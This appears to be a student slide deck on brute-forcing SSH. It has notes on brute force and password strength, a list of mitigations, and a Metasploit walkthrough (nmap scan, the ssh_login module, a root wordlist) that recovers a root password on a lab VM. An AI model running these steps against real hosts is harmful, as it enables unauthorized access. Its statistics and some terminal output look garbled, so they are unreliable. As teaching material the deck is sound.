

A rough idea about our project:

Brute force attack? Guessing user credentials
no exploitation
guessing
trial and error
username/password list

How it will work?



Example: For a password BATMAN0007-→it is going to take 7 hours only.

Do it be used? Most certainly

High success rate

80% attacks on web applications are going to use brute force

$P = NP ?$

P=NP?

- In full Polynomial vs Non-Deterministic polynomial problem, computational complexity, the question of whether all so called NP problems are actually P problems.
- If, $P=NP$ every NP problem would contain a hidden shortcut , allowing computers to quickly find perfect solutions to them.
- But if P does not equal NP ,then no such shortcut exists , and computers problem solving powers will remain fundamentally and permanently limited.
- Roughly speaking, P is a set of relatively easy problems, and NP is a set that includes what seem to be very, very, hard problems.
- So $P=NP$ would imply that the apparently hard problems actually have relatively easy solutions.

Brute force algorithm:

- A brute force algorithm is a straight forward approach to a problem i.e. the first approach that comes to our mind on seeing the problem.
- Example: if we will get a chance to find a 4 digit pin, we will simply start making combinations. This is what called brut force.
- It is an infallible technique.
- Markov password: length of 10 characters , no dictionary word, repetition is avoided, do not use frequent proper nouns, use upper ,lower case , special characters, numbers.
- Alphanumeric passwords

AUTOBOTS

Problem statement:

Brute force attack on SSH



Difficulty



Screenshots:



Brute force



SOLUTION

Team member	Registration number
Nipun Negi	99210042111
Faizan Manzoor mir	99210042197
Sourav Kumar	99210042219
Shobin bobby george	99210041958



Brute force



BRUTE FORCE

Brute force attack consists of multiple login attempts using a database of possible usernames and passwords until matching.

Also known as brute force cracking.

Usually, when carrying out this attack, the attacker already knows the username.

We will crack a root password using different tools.

In current times, we can generate wordlists or combinations on the fly.

Leaked password files containing millions of passwords are present.



Solution



SOLUTION

- Increasing the length of PIN
- Allowing the PIN to contain characters other than numbers, such as * or #
- Work on password complexity
- Limit the login attempts
- Use OTPs
- Two factor authentication
- Imposing a 30 second delay between failed and authentication attempts.
- A brute force attack will always succeed, eventually. However, brute force attacks against systems with sufficiently long keys may require billions of years to complete.

•



Difficulty



DIFFICULTY:

- How long can the key be?
- Is there any mechanism which will lock the attacker out after a number of failed attempts?



Screenshots

The background of the slide is a dark, atmospheric photograph of a forest at night. In the lower center, a small, glowing yellow tent is pitched on a clearing. The trees are silhouetted against a deep blue twilight sky. Overlaid on the left side of the image are several gear icons: two large, semi-transparent blue gears and two smaller, solid white gears, arranged in a cluster.

Screenshots:

Here we added the screenshots of attack performed by us
while doing the brutforce attack.

Command 01:msfconsole

Metasploit framework will start using this command.

```
(kali@kali)-[~]
$ msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb
```

Command 02: nmap -sV IPV4(to be attacked)

We will come to know about the open ports of the system.

```
nsf6 > nmap -sV 192.168.252.129
[*] exec: nmap -sV 192.168.252.129

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-11 12:10 EST
Nmap scan report for 192.168.252.129
Host is up (0.00034s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL ...)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap         Courier Imapd (released 2008)
443/tcp   open  ssl/http     Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL ...)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp  open  java-object  Java Object Serialization
8080/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8081/tcp  open  http         Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.92%I=7%D=11/11%Time=636E8220%P=x86_64-pc-linux-gnu%r(N
SF:ULL,4,"\xac\xed\x05");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.66 seconds
```


Command 03: search ssh

Matching modules regarding this will be displayed.

```
msf5 > search ssh
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/http/alienvault_exec	2017-01-31	excellent	Yes	AlienVault OSSIM/USM Remote Code Execution
1	auxiliary/scanner/ssh/apache_karaf_command_execution	2016-02-09	normal	No	Apache Karaf Default Credentials Command Execution
2	auxiliary/scanner/ssh/karaf_login		normal	No	Apache Karaf Login Utility
3	exploit/apple_ios/ssh/cydia_default	2007-07-02	excellent	No	Apple iOS Default SSH Password Vulnerability
4	exploit/unix/ssh/arista_telnet_shell	2020-02-02	great	Yes	Arista restricted shell escape (with privsep)
5	exploit/unix/ssh/array_vapv_privkey_privsep	2014-02-03	excellent	No	Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
6	exploit/linux/ssh/cecapos_fibehair_known_privkey	2015-04-01	excellent	No	Ceragon Fibehair IP-10 SSH Private Key Exposure
7	auxiliary/scanner/ssh/cerberus_sftp_enumerators	2014-05-27	normal	No	Cerberus FTP Server SFTP Username Enumeration
8	auxiliary/dos/cisco/cisco_7937g_dos	2020-06-02	normal	No	Cisco 7937G Denial-of-Service Attack
9	auxiliary/admin/http/cisco_7937g	2020-06-02	normal	No	Cisco 7937G SSH Privilege Escalation
10	auxiliary/scanner/http/cisco_firepower_login		normal	No	Cisco Firepower Management Console 6.0 Login
11	exploit/linux/ssh/cisco_ucs_scpsuser	2019-08-21	excellent	No	Cisco UCS Director default scpuser password
12	auxiliary/scanner/ssh/eaton_xpert_backdoor	2018-07-18	normal	No	Eaton Xpert Meter SSH Private Key Exposure Scanner
13	exploit/linux/ssh/exagrid_known_privkey	2016-04-07	excellent	No	ExaGrid Known SSH Key and Default Password
14	exploit/linux/ssh/fs_bigip_known_privkey	2012-06-11	excellent	No	FS BIG-IP SSH Private Key Exposure
15	auxiliary/scanner/ssh/fortinet_backdoor	2016-01-09	normal	No	Fortinet SSH Backdoor Scanner
16	post/windows/manage/forward_pageant		normal	No	Forward SSH Agent Requests To Remote Pageant
17	exploit/windows/ssh/freesshd_key_exchange	2006-05-12	average	No	FreeSSHd 1.0.10 Key Exchange Algorithm String Buffer Overflow
18	exploit/windows/ssh/freesshd_key_exchange	2006-05-12	average	No	FreeSSHd 1.0.0 Key Exchange Algorithm String Buffer Overflow
19	exploit/windows/ssh/freesshd_authbypass	2010-08-11	excellent	Yes	FreeSSHd Authentication Bypass
20	auxiliary/scanner/http/gitlab_user_enum	2014-11-21	normal	No	GitLab User Enumeration
21	exploit/multi/http/gitlab_shell_exec	2013-11-04	excellent	Yes	GitLab-shell Code Execution
22	exploit/linux/ssh/ibm_drm_aluser	2020-04-21	excellent	No	IBM Data Risk Manager aluser Default Password
23	post/windows/manage/install_ssh		normal	No	Install OpenSSH for Windows
24	payload/generic/ssh/interact		normal	No	Interact with established SSH Connection
25	post/multi/gather/jenkins_gather		normal	No	Jenkins Credential Collector
26	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper SSH Backdoor Scanner
27	auxiliary/scanner/ssh/klippo		normal	No	Klippo SSH HoneyPot Detector
28	post/linux/gather/enum_network		normal	No	Linux Gather Network Information
29	exploit/linux/local/ptproc_traceme_phexec_helper	2019-07-04	excellent	Yes	Linux Polkit phexec helper PTSPACE/TRACEME local root exploit
30	exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey	2014-03-17	excellent	No	Loadbalancer.org Enterprise VA SSH Private Key Exposure
31	exploit/multi/http/git_submodule_command_exec	2017-08-10	excellent	No	Malicious Git HTTP Server For CVE-2017-18001/17
32	exploit/linux/ssh/mercurial_ssh_exec	2017-04-10	excellent	No	Mercurial Custom hg- SSH Wrapper Remote Code Exec
33	exploit/linux/ssh/microfocus_sbr_sbrboardm	2020-09-21	excellent	No	Micro Focus Operations Bridge Reporter sbrboardm default password
34	post/multi/gather/ssh_creds		normal	No	Multi Gather OpenSSH PKI Credentials Collection
35	exploit/solaris/ssh/pan_vnamame_bof	2020-10-20	normal	Yes	Oracle Solaris SunOS PAN parse_user_name() Buffer Overflow
36	exploit/windows/ssh/putty_msg_debug	2002-12-16	normal	No	PUTTY Buffer Overflow
37	post/windows/gather/enum_putty_saved_sessions		normal	No	PUTTY Saved Sessions Enumeration Module
38	auxiliary/gather/qsnap_lfi	2019-11-25	normal	Yes	Qnap QTS and Photo Station Local File Inclusion
39	exploit/linux/ssh/quantum_dxi_known_privkey	2014-03-17	excellent	No	Quantum DXI V1000 SSH Private Key Exposure
40	exploit/linux/ssh/quantum_vapro_backdoor	2014-03-17	excellent	No	Quantum VAPRO Backdoor Command

Continuation of command 03:

41	auxiliary/fuzzers/ssh/ssh_version_15		normal	No	SSH 1.5 Version Fuzzer
42	auxiliary/fuzzers/ssh/ssh_version_2		normal	No	SSH 2.0 Version Fuzzer
43	auxiliary/fuzzers/ssh/ssh_keyinit_corrupt		normal	No	SSH Key Exchange Init Corruption
44	post/linux/manage/sshkey_persistence		excellent	No	SSH Key Persistence
45	post/windows/manage/sshkey_persistence		good	No	SSH Key Persistence
46	auxiliary/scanner/ssh/ssh_login		normal	No	SSH Login Check Scanner
47	auxiliary/scanner/ssh/ssh_identify_pubkeys		normal	No	SSH Public Key Acceptance Scanner
48	auxiliary/scanner/ssh/ssh_login_pubkey		normal	No	SSH Public Key Login Scanner
49	exploit/multi/ssh/sshexec	1999-01-01	manual	No	SSH User Code Execution
50	auxiliary/scanner/ssh/ssh_enumusers		normal	No	SSH Username Enumeration
51	auxiliary/fuzzers/ssh/ssh_version_corrupt		normal	No	SSH Version Corruption
52	auxiliary/scanner/ssh/ssh_version		normal	No	SSH Version Scanner
53	post/multi/gather/saltstack_salt		normal	No	SaltStack Salt Information Gatherer
54	exploit/unix/http/schneider_electric_net55xx_encoder	2019-01-25	excellent	Yes	Schneider Electric Pelco Endura NET55XX Encoder
55	exploit/windows/ssh/securecrt_ssh1	2002-07-23	average	No	SecureCRT SSH1 Buffer Overflow
56	exploit/linux/ssh/solarwinds_len_exec	2017-03-17	excellent	No	SolarWinds LEN Default SSH Password Remote Code Execution
57	exploit/linux/ssh/symantec_smg_ssh	2012-08-27	excellent	No	Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
58	exploit/linux/http/symantec_messaging_gateway_exec	2017-04-26	excellent	No	Symantec Messaging Gateway Remote Code Execution
59	exploit/windows/ssh/sysax_ssh_username	2012-02-27	normal	Yes	Sysax 5.53 SSH Username Buffer Overflow
60	auxiliary/dos/windows/ssh/sysax_sshd_kexchange	2013-03-17	normal	No	Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
61	exploit/unix/ssh/tectia_passwd_changereq	2012-12-01	excellent	Yes	Tectia SSH USERAUTH Change Request Password Reset Vulnerability
62	auxiliary/scanner/ssh/ssh_enum_git_keys		normal	No	Test SSH Github Access
63	exploit/linux/http/ubiquiti_airos_file_upload	2016-02-13	excellent	No	Ubiquiti airos Arbitrary File Upload
64	payload/cmd/unix/reverse_ssh		normal	No	Unix Command Shell, Reverse TCP SSH
65	exploit/linux/ssh/vmware_vdp_known_privkey	2016-12-20	excellent	No	VMware VDP Known SSH Key
66	exploit/multi/http/vmware_vcenter_uploadova_rce	2021-02-23	manual	Yes	VMware vCenter Server Unauthenticated OVA File Upload RCE
67	exploit/linux/ssh/vyos_restricted_shell_privesc	2018-11-05	great	Yes	VyOS restricted-shell Escape and Privilege Escalation
68	post/windows/gather/credentials/wremote		normal	No	Windows Gather mRemote Saved Password Extraction
69	exploit/windows/local/unquoted_service_path	2001-10-25	excellent	Yes	Windows Unquoted Service Path Privilege Escalation
70	auxiliary/scanner/ssh/libssh_auth_bypass	2018-10-16	normal	No	libssh Authentication Bypass Scanner
71	exploit/linux/http/php_imap_open_rce	2018-10-23	good	Yes	php imap_open Remote Code Execution

Interact with a module by name or index. For example `info 71`, `use 71` or `use exploit/linux/http/php_imap_open_rce`

Command 04: show options

It will show all the related options.

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(auxiliary/scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user6realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

Command 05: Set

To change the RHOSTS, stop on success, VERBOSE.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.252.129
RHOSTS ⇒ 192.168.252.129
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS ⇒ true
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE ⇒ true
```

Command 06: show options

To see the changes.

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS	192.168.252.129	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

Command 07:

set USERPASS FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

here we will add the username and password list for the attack

```
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS	192.168.252.129	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE	/usr/share/metasploit-framework/data/wordlists/root_userpass.txt	no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

Command 08: run

To start the process of bruteforce attack

```
msf6 auxiliary(omaspbwa_login) > run

[*] 192.168.252.129:22 - Starting bruteforce
[*] 192.168.252.129:22 - Failed: 'root:'
[*] No active OB - Credential data will not be saved!
[*] 192.168.252.129:22 - Failed: 'root:root'
[*] 192.168.252.129:22 - Failed: 'root:Cisco'
[*] 192.168.252.129:22 - Failed: 'root:NetT'
[*] 192.168.252.129:22 - Failed: 'root:QW'
[*] 192.168.252.129:22 - Failed: 'root:admin'
[*] 192.168.252.129:22 - Failed: 'root:attack'
[*] 192.168.252.129:22 - Failed: 'root:ax400'
[*] 192.168.252.129:22 - Failed: 'root:bagabu'
[*] 192.168.252.129:22 - Failed: 'root:blablabla'
[*] 192.168.252.129:22 - Failed: 'root:blender'
[*] 192.168.252.129:22 - Failed: 'root:brightmail'
[*] 192.168.252.129:22 - Failed: 'root:calvin'
[*] 192.168.252.129:22 - Failed: 'root:changeme'
[*] 192.168.252.129:22 - Failed: 'root:changethis'
[*] 192.168.252.129:22 - Failed: 'root:default'
[*] 192.168.252.129:22 - Failed: 'root:fibranne'
[*] 192.168.252.129:22 - Failed: 'root:honey'
[*] 192.168.252.129:22 - Failed: 'root:jstwo'
[*] 192.168.252.129:22 - Failed: 'root:kn1TG7pslu'
[*] 192.168.252.129:22 - Failed: 'root:letacla'
[*] 192.168.252.129:22 - Failed: 'root:mpegvideo'
[*] 192.168.252.129:22 - Failed: 'root:ns1'
[*] 192.168.252.129:22 - Failed: 'root:par0t'
[*] 192.168.252.129:22 - Failed: 'root:pass'
[*] 192.168.252.129:22 - Failed: 'root:password'
[*] 192.168.252.129:22 - Failed: 'root:pimnet2003'
[*] 192.168.252.129:22 - Failed: 'root:resumix'
[*] 192.168.252.129:22 - Failed: 'root:root'
[*] 192.168.252.129:22 - Failed: 'root:rootme'
[*] 192.168.252.129:22 - Failed: 'root:rootpass'
[*] 192.168.252.129:22 - Failed: 'root:t00lk1t'
[*] 192.168.252.129:22 - Failed: 'root:tini'
[*] 192.168.252.129:22 - Failed: 'root:toor'
[*] 192.168.252.129:22 - Failed: 'root:trendimsal.0'
[*] 192.168.252.129:22 - Failed: 'root:tslinux'
[*] 192.168.252.129:22 - Failed: 'root:uCLinux'
[*] 192.168.252.129:22 - Failed: 'root:vertex25'
[*] 192.168.252.129:22 - Success: 'root:omaspbwa' 'uid=0(root) gid=0(root) groups=0(root) Linux omaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:40 UTC 2010 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.252.128:37445 → 192.168.252.129:22 ) at 2022-11-11 12:32:44 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```


